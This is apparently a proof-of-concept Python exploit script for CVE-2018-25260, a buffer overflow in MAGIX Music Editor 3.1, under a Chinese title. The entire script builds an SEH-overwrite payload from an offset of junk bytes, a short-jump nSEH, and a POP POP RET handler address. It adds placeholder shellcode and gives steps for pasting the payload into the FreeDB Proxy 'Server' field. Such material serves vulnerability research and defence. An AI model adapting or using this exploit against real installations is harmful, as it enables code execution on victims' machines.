CVE-2018-25260 MAGIX Music Editor缓冲区溢出漏洞

#!/usr/bin/env python # PoC for CVE-2018-25260 MAGIX Music Editor Buffer Overflow # This script generates a malicious payload to trigger the SEH overwrite. import sys # Structure of the payload: # [Junk/NOPs][nSEH][SEH Handler][Shellcode] # 1. Offset to overwrite SEH (This value needs to be determined by fuzzing) # Example offset used for demonstration purposes. offset = 4064 # 2. nSEH (Next SEH) address: Usually a short jump to the shellcode # \xEB\x06\x90\x90 = JMP SHORT +6, NOP, NOP nseh = b"\xeb\x06\x90\x90" # 3. SEH Handler address: Address of POP POP RET instruction # This address depends on the loaded DLLs (non-ASLR modules). # Placeholder: 0x10020210 (Example from a vulnerable module) seh = b"\x10\x02\x02\x10" # 4. Shellcode: Proof of concept shellcode (e.g., calc.exe or message box) # Using a simple NOP sled followed by dummy shellcode for demonstration shellcode = b"\x90" * 100 + b"A" * 300 def generate_payload(): payload = b"A" * offset + nseh + seh + shellcode return payload if __name__ == "__main__": print("[*] Generating payload for CVE-2018-25260...") payload = generate_payload() print(f"[*] Payload length: {len(payload)} bytes") print("[*] Steps to reproduce:") print("1. Copy the generated payload (hex or raw string)") print("2. Open MAGIX Music Editor 3.1") print("3. Navigate to CD menu -> FreeDB Proxy Options") print("4. Paste the payload into the 'Server' field") print("5. Click OK/Save to trigger the overflow and exception handling.") # Optionally save to file with open("poc_cve_2018_25260.txt", "wb") as f: f.write(payload) print("[*] Payload saved to poc_cve_2018_25260.txt")